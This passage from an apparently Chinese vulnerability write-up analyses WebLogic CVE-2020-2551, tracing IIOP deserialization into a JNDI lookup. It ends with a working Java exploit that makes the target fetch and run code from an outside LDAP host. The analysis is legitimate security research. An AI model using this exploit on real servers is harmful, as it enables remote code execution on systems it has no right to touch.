weblogic.security.acl.internal.AuthenticatedSubject;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> weblogic.security.internal.SerializedSystemIni;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> weblogic.security.internal.encryption.EncryptionService;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> weblogic.security.service.PrivilegedActions;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> weblogic.security.service.SecurityServiceManager;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">final</span> <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">EncryptionUtil</span> </span>{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">final</span> AuthenticatedSubject kernelID = (AuthenticatedSubject)AccessController.doPrivileged(PrivilegedActions.getKernelIdentityAction());</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">static</span> EncryptionService es = <span class="code-snippet__keyword">null</span>;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__title">EncryptionUtil</span><span class="code-snippet__params">()</span> </span>{</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">byte</span>[] encrypt(<span class="code-snippet__keyword">byte</span>[] var0) {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> Kernel.isServer() ? getEncryptionService().encryptBytes(var0) : var0;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">byte</span>[] decrypt(<span class="code-snippet__keyword">byte</span>[] var0) {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (Kernel.isServer()) {</span></code><code><span class="code-snippet_outer">            SecurityServiceManager.checkKernelIdentity(kernelID);</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span> getEncryptionService().decryptBytes(var0);</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span> var0;</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">final</span> EncryptionService <span class="code-snippet__title">getEncryptionService</span><span class="code-snippet__params">()</span> </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (es == <span class="code-snippet__keyword">null</span>) {</span></code><code><span class="code-snippet_outer">            es = SerializedSystemIni.getExistingEncryptionService();</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> es;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p><span style="font-weight: bold;font-size: 20px;"><br/></span></p><p><span style="font-weight: bold;font-size: 20px;">CVE-2020-2551</span></p><p>影响范围：</p><ul yne-block-type="list" class="list-paddingleft-1"><li style="white-space: pre-wrap;line-height: 1.75;font-size: 14px;text-align: left;list-style-position: inside;word-break: break-word;font-family: &#34;Microsoft YaHei&#34;, STXihei;list-style-type: disc;"><p>Weblogic 10.3.6.0.0</p></li><li style="white-space: pre-wrap;line-height: 1.75;font-size: 14px;text-align: left;list-style-position: inside;word-break: break-word;font-family: &#34;Microsoft YaHei&#34;, STXihei;list-style-type: disc;"><p>Weblogic 12.1.3.0.0</p></li><li style="white-space: pre-wrap;line-height: 1.75;font-size: 14px;text-align: left;list-style-position: inside;word-break: break-word;font-family: &#34;Microsoft YaHei&#34;, STXihei;list-style-type: disc;"><p>Weblogic 12.2.1.3.0</p></li><li style="white-space: pre-wrap;line-height: 1.75;font-size: 14px;text-align: left;list-style-position: inside;word-break: break-word;font-family: &#34;Microsoft YaHei&#34;, STXihei;list-style-type: disc;"><p>Weblogic 12.2.1.4.0</p></li></ul><p><span style="font-weight: bold;">漏洞分析</span></p><p>先看Weblogic对IIOP协议的处理逻辑。</p><p>weblogic有一个dispatch方法，专门用于处理不同协议请求：</p><p>由MuxableSocketDiscriminator负责具体分发至相应的MuxableSocket类（这里是MuxableSocketIIOP，后续所使用的类都是在weblogic.iiop下的具体实现）</p><p><img class="rich_pages wxw-img" data-ratio="0.6314814814814815" style="width: 2846px;height: 1796px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=bf679d77&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7C6bVxeukd6RXTeHv5koIUhEqcEPeZcLgZvWFmY7FibKoZLhKx93hrpQWoVFhcOrKyA1ib0NbdcjrA%2F640%3Fwx_fmt%3Dpng"/></p><p><img data-ratio="0.6324074074074074" style="width: 2838px;height: 1796px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=27d06886&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7C6bVxeukd6RXTeHv5koIUlg1RflLMLFf49m4ljxWo7K6ukZn1D8Q7OnicQw1o4Iemb5BSnpLvfHg%2F640%3Fwx_fmt%3Dpng"/></p><p>再交由对应的ConnectionManager处理：</p><p><img class="rich_pages wxw-img" data-ratio="0.6342592592592593" style="width: 2836px;height: 1800px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=e13fa263&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7C6bVxeukd6RXTeHv5koIUnACA9LJOz9kHKzcA8jAkibWIqlN3hwVU2Tqc98kCuEzyay4VJwDosgA%2F640%3Fwx_fmt%3Dpng"/></p><p>通过调用ConnectionManager.dispatch，进入到EndPointlmpl中：</p><p><img class="rich_pages wxw-img" data-ratio="0.6333333333333333" style="width: 2844px;height: 1800px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=3a64240c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7C6bVxeukd6RXTeHv5koIU78FOW4glMwOtuV2xDwUjK5icvbKHRaxzhujOcO2mxuxJDDiaO3hiaEEQA%2F640%3Fwx_fmt%3Dpng"/></p><p>由processMessage处理：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="kotlin"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">final</span> void processMessage(Message var1) throws IOException {</span></code><code><span class="code-snippet_outer">    switch (var1.getMsgType()) {</span></code><code><span class="code-snippet_outer">        case <span class="code-snippet__number">0</span>:</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>.handleIncomingRequest(var1);</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span>;</span></code><code><span class="code-snippet_outer">        case <span class="code-snippet__number">1</span>:</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (<span class="code-snippet__keyword">this</span>.negotiatedRequestId &gt;= <span class="code-snippet__number">0</span>) {</span></code><code><span class="code-snippet_outer">                synchronized(<span class="code-snippet__keyword">this</span>.bootstrapLock) {</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">if</span> (<span class="code-snippet__keyword">this</span>.negotiatedRequestId &gt;= <span class="code-snippet__number">0</span> &amp;&amp; <span class="code-snippet__keyword">this</span>.negotiatedRequestId == var1.getRequestID()) {</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">this</span>.setFlag(<span class="code-snippet__keyword">this</span>.bootstrapFlags);</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">this</span>.negotiatedRequestId = -<span class="code-snippet__number">1</span>;</span></code><code><span class="code-snippet_outer">                    }</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>.handleIncomingResponse(var1);</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span>;</span></code><code><span class="code-snippet_outer">        case <span class="code-snippet__number">2</span>:</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span>;</span></code><code><span class="code-snippet_outer">        case <span class="code-snippet__number">3</span>:</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>.handleLocateRequest(var1);</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span>;</span></code><code><span class="code-snippet_outer">        case <span class="code-snippet__number">4</span>:</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>.handleLocateReply(var1);</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span>;</span></code><code><span class="code-snippet_outer">        case <span class="code-snippet__number">5</span>:</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>.handleCloseConnection(var1);</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span>;</span></code><code><span class="code-snippet_outer">        case <span class="code-snippet__number">6</span>:</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (Kernel.getDebug().getDebugIIOP()) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">this</span>.p(<span class="code-snippet__string">&#34;handling message error&#34;</span>);</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>.handleMessageError(var1);</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span>;</span></code><code><span class="code-snippet_outer">        case <span class="code-snippet__number">7</span>:</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>.processFragment(var1);</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span>;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">default</span>:</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (Kernel.getDebug().getDebugIIOP()) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">this</span>.p(<span class="code-snippet__string">&#34;handling unknown message&#34;</span>);</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>.gotExceptionReceiving(Utils.mapToCORBAException(new UnmarshalException(<span class="code-snippet__string">&#34;Unkown message type: &#34;</span> + var1.getMsgType())));</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p><img class="rich_pages wxw-img" data-ratio="0.6" style="width: 2878px;height: 1726px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=a850dbe1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7C6bVxeukd6RXTeHv5koIUL0tvW5OzIDE4gWFhWklheKtuYqWHHQNQicqWGQ92JalXzOntlQRzRQQ%2F640%3Fwx_fmt%3Dpng"/></p><p>最终给到BasicServerRef，在其dispatch方法中，新起一个ExecuteRequest线程用于处理对应的request</p><p><img data-ratio="0.6314814814814815" style="width: 2836px;height: 1792px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=2853d640&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7C6bVxeukd6RXTeHv5koIUuWRBZsksRgLCn697S3ufAye6JkpAQkH1mT5l3JU8uqB3DkykFkx0TA%2F640%3Fwx_fmt%3Dpng"/></p><p><img data-ratio="0.3638888888888889" style="width: 1984px;height: 722px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=3eed5821&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7C6bVxeukd6RXTeHv5koIU7twpLIIcqzZFiaiaKnAx3hH1Pn0ibmXuicdcycaeaL5Wd3W6qo7EWDicPjA%2F640%3Fwx_fmt%3Dpng"/></p><p>IIOP协议部分的处理逻辑大概如上述。</p><p>后续request处理部分，从BasicServerRef.invoke开始：</p><p><img class="rich_pages wxw-img" data-ratio="0.6342592592592593" style="width: 2952px;height: 1872px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=d14be17d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7C6bVxeukd6RXTeHv5koIUgZwmicwIQ9EZc3gAC4sHgGAgJpVH7tZMomfUoF5x7hTJibdbMvI3mbHQ%2F640%3Fwx_fmt%3Dpng"/></p><p>在_NamingContextAnyImplBase中，调用bind_any()之前将会先执行read_any()方法：</p><p><img data-ratio="0.6342592592592593" style="width: 2952px;height: 1872px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=c91b9059&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7C6bVxeukd6RXTeHv5koIUibibYNnIHErIETVMv2nE0k9laKGnkslKHUBN5pcuFtbwVrRMhNdA8lsA%2F640%3Fwx_fmt%3Dpng"/></p><p>跟进之后发现其实也就是IIOPInputStream的readObject方法：</p><p><img class="rich_pages wxw-img" data-ratio="0.6342592592592593" style="width: 2952px;height: 1872px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=528d1332&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7C6bVxeukd6RXTeHv5koIUpdTGjTmaPlr1Sg52WjsicqtRwtxDJDp3QuqY3q34YfNM1S1ufXIicrWw%2F640%3Fwx_fmt%3Dpng"/></p><p>中间的调用过程很长，最终会调用到JtaTransactionManager的readObject方法：</p><p><img class="rich_pages wxw-img" data-ratio="0.6166666666666667" style="width: 2894px;height: 1784px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=92f904a6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7C6bVxeukd6RXTeHv5koIUyrjoJqicYspWChDP00icPvyBZv5f5OBHEqDb9Bic4uYaibXcuynQLWr0Jg%2F640%3Fwx_fmt%3Dpng"/></p><p>最终通过：initUserTransactionAndTransactionManager()-&gt;initUserTransactionAndTransactionManager()-&gt;lookupUserTransaction()-&gt;getJndiTemplate.lookup()-&gt;ctx.lookup()触发JNDI：</p><p><img class="rich_pages wxw-img" data-ratio="0.6342592592592593" style="width: 2952px;height: 1872px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=2efb83c3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7C6bVxeukd6RXTeHv5koIURxxdSloL9p2EFcX9664W7hCM1deFCLPuqc68iaGqosLyYtw6I91ExOQ%2F640%3Fwx_fmt%3Dpng"/></p><p><img class="rich_pages wxw-img" data-ratio="0.6342592592592593" style="width: 2952px;height: 1872px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=e36a6ec2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7C6bVxeukd6RXTeHv5koIUbnuBYQlPl0ibAJ2x8ncIVwcMbKujk0hLydmWU3pc0DXBf7d67icOHJ6Q%2F640%3Fwx_fmt%3Dpng"/></p><p><img class="rich_pages wxw-img" data-ratio="0.6342592592592593" style="width: 2952px;height: 1872px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=1a828a83&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7C6bVxeukd6RXTeHv5koIUicvqHzib3WeDsxoMxibrzE5cib88xKjPWAkrfxHCtA8PiaOEYWFDPtGr25g%2F640%3Fwx_fmt%3Dpng"/></p><p>调用栈如下</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="makefile"><code><span class="code-snippet_outer"><span class="code-snippet__section">lookup:417, InitialContext (javax.naming)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">doInContext:132, JndiTemplate$1 (com.bea.core.repackaged.springframework.jndi)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">execute:88, JndiTemplate (com.bea.core.repackaged.springframework.jndi)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">lookup:130, JndiTemplate (com.bea.core.repackaged.springframework.jndi)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">lookup:155, JndiTemplate (com.bea.core.repackaged.springframework.jndi)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">lookupUserTransaction:565, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">initUserTransactionAndTransactionManager:444, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">readObject:1198, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">invoke0:-1, NativeMethodAccessorImpl (sun.reflect)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">invoke:62, NativeMethodAccessorImpl (sun.reflect)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">invoke:43, DelegatingMethodAccessorImpl (sun.reflect)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">invoke:498, Method (java.lang.reflect)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">readObject:314, ObjectStreamClass (weblogic.utils.io)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">readValueData:281, ValueHandlerImpl (weblogic.corba.utils)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">readValue:93, ValueHandlerImpl (weblogic.corba.utils)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">read_value:2128, IIOPInputStream (weblogic.iiop)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">read_value:1936, IIOPInputStream (weblogic.iiop)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">read_abstract_interface:2271, IIOPInputStream (weblogic.iiop)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">readObject:2752, IIOPInputStream (weblogic.iiop)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">readObjectOverride:164, ObjectInputStreamImpl (weblogic.iiop)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">readObject:416, ObjectInputStream (java.io)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">readObject:1404, HashMap (java.util)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">invoke:-1, GeneratedMethodAccessor2 (sun.reflect)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">invoke:43, DelegatingMethodAccessorImpl (sun.reflect)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">invoke:498, Method (java.lang.reflect)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">readObject:314, ObjectStreamClass (weblogic.utils.io)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">readValueData:281, ValueHandlerImpl (weblogic.corba.utils)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">readValue:93, ValueHandlerImpl (weblogic.corba.utils)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">read_value:2128, IIOPInputStream (weblogic.iiop)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">readObject:2788, IIOPInputStream (weblogic.iiop)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">read:326, ObjectInputStreamImpl$GetFieldImpl (weblogic.iiop)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">access$800:242, ObjectInputStreamImpl$GetFieldImpl (weblogic.iiop)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">readFields:195, ObjectInputStreamImpl (weblogic.iiop)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">readObject:429, AnnotationInvocationHandler (sun.reflect.annotation)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">invoke0:-1, NativeMethodAccessorImpl (sun.reflect)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">invoke:62, NativeMethodAccessorImpl (sun.reflect)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">invoke:43, DelegatingMethodAccessorImpl (sun.reflect)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">invoke:498, Method (java.lang.reflect)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">readObject:314, ObjectStreamClass (weblogic.utils.io)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">readValueData:281, ValueHandlerImpl (weblogic.corba.utils)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">readValue:93, ValueHandlerImpl (weblogic.corba.utils)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">read_value:2128, IIOPInputStream (weblogic.iiop)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">read_abstract_interface:2279, IIOPInputStream (weblogic.iiop)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">readObject:2785, IIOPInputStream (weblogic.iiop)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">readFields:460, ObjectStreamClass (weblogic.utils.io)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">readValueData:294, ValueHandlerImpl (weblogic.corba.utils)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">readValue:93, ValueHandlerImpl (weblogic.corba.utils)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">read_value:2128, IIOPInputStream (weblogic.iiop)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">read_value:1936, IIOPInputStream (weblogic.iiop)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">read_value_internal:220, AnyImpl (weblogic.corba.idl)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">read_value:115, AnyImpl (weblogic.corba.idl)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">read_any:1648, IIOPInputStream (weblogic.iiop)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">read_any:1641, IIOPInputStream (weblogic.iiop)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">_invoke:58, _NamingContextAnyImplBase (weblogic.corba.cos.naming)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">invoke:249, CorbaServerRef (weblogic.corba.idl)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">invoke:230, ClusterableServerRef (weblogic.rmi.cluster)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">run:522, BasicServerRef$1 (weblogic.rmi.internal)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">doAs:363, AuthenticatedSubject (weblogic.security.acl.internal)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">runAs:146, SecurityManager (weblogic.security.service)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">handleRequest:518, BasicServerRef (weblogic.rmi.internal)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">run:118, WLSExecuteRequest (weblogic.rmi.internal.wls)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">execute:256, ExecuteThread (weblogic.work)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">run:221, ExecuteThread (weblogic.work)</span></span></code></pre></section><p>POC：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="typescript"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> javax.naming.Context;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> javax.naming.InitialContext;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.lang.reflect.Field;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.rmi.Remote;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.util.Hashtable;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> <span class="code-snippet__keyword">static</span> ysoserial.payloads.util.Gadgets.createMap;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> <span class="code-snippet__keyword">static</span> ysoserial.payloads.util.Gadgets.createMemoitizedProxy;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">class</span> CVE_2020_2551 {</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__built_in">void</span> main(<span class="code-snippet__built_in">String</span>[] args) throws Exception {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__built_in">String</span> ip = <span class="code-snippet__string">&#34;127.0.0.1&#34;</span>;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__built_in">String</span> port = <span class="code-snippet__string">&#34;7001&#34;</span>;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__built_in">String</span> rmiurl = <span class="code-snippet__string">&#34;ldap://192.168.0.103/cVLtcNoHML/Plain/Exec/eyJjbWQiOiJ0b3VjaCAvdG1wL3N1Y2Nlc3MxMjMifQ==&#34;</span>;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__built_in">String</span> rhost = <span class="code-snippet__built_in">String</span>.format(<span class="code-snippet__string">&#34;iiop://%s:%s&#34;</span>, ip, port);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        Hashtable&lt;<span class="code-snippet__built_in">String</span>, <span class="code-snippet__built_in">String</span>&gt; env = <span class="code-snippet__keyword">new</span> Hashtable&lt;<span class="code-snippet__built_in">String</span>, <span class="code-snippet__built_in">String</span>&gt;();</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">// add wlsserver/server/lib/weblogic.jar to classpath,else will error.</span></span></code><code><span class="code-snippet_outer">        env.put(<span class="code-snippet__string">&#34;java.naming.factory.initial&#34;</span>, <span class="code-snippet__string">&#34;weblogic.jndi.WLInitialContextFactory&#34;</span>);</span></code><code><span class="code-snippet_outer">        env.put(Context.PROVIDER_URL, rhost);</span></code><code><span class="code-snippet_outer">        Context context = <span class="code-snippet__keyword">new</span> InitialContext(env);</span></code><code><span class="code-snippet_outer">        JtaTransactionManager jtaTransactionManager = <span class="code-snippet__keyword">new</span> JtaTransactionManager();</span></code><code><span class="code-snippet_outer">        jtaTransactionManager.setUserTransactionName(rmiurl);</span></code><code><span class="code-snippet_outer">        Remote remote = createMemoitizedProxy(createMap(<span class="code-snippet__string">&#34;pwned&#34;</span>+System.nanoTime(), jtaTransactionManager), Remote.class);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        context.bind(<span class="code-snippet__string">&#34;test3&#34;</span>, remote);</span></code><code><span class="code-snippet_outer">        context.lookup(<span class="code-snippet__string">&#34;test3&#34;</span>);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p><img class="rich_pages wxw-img" data-ratio="0.24351851851851852" style="width: 1874px;height: 456px;" data-type="png" data-w="1080" 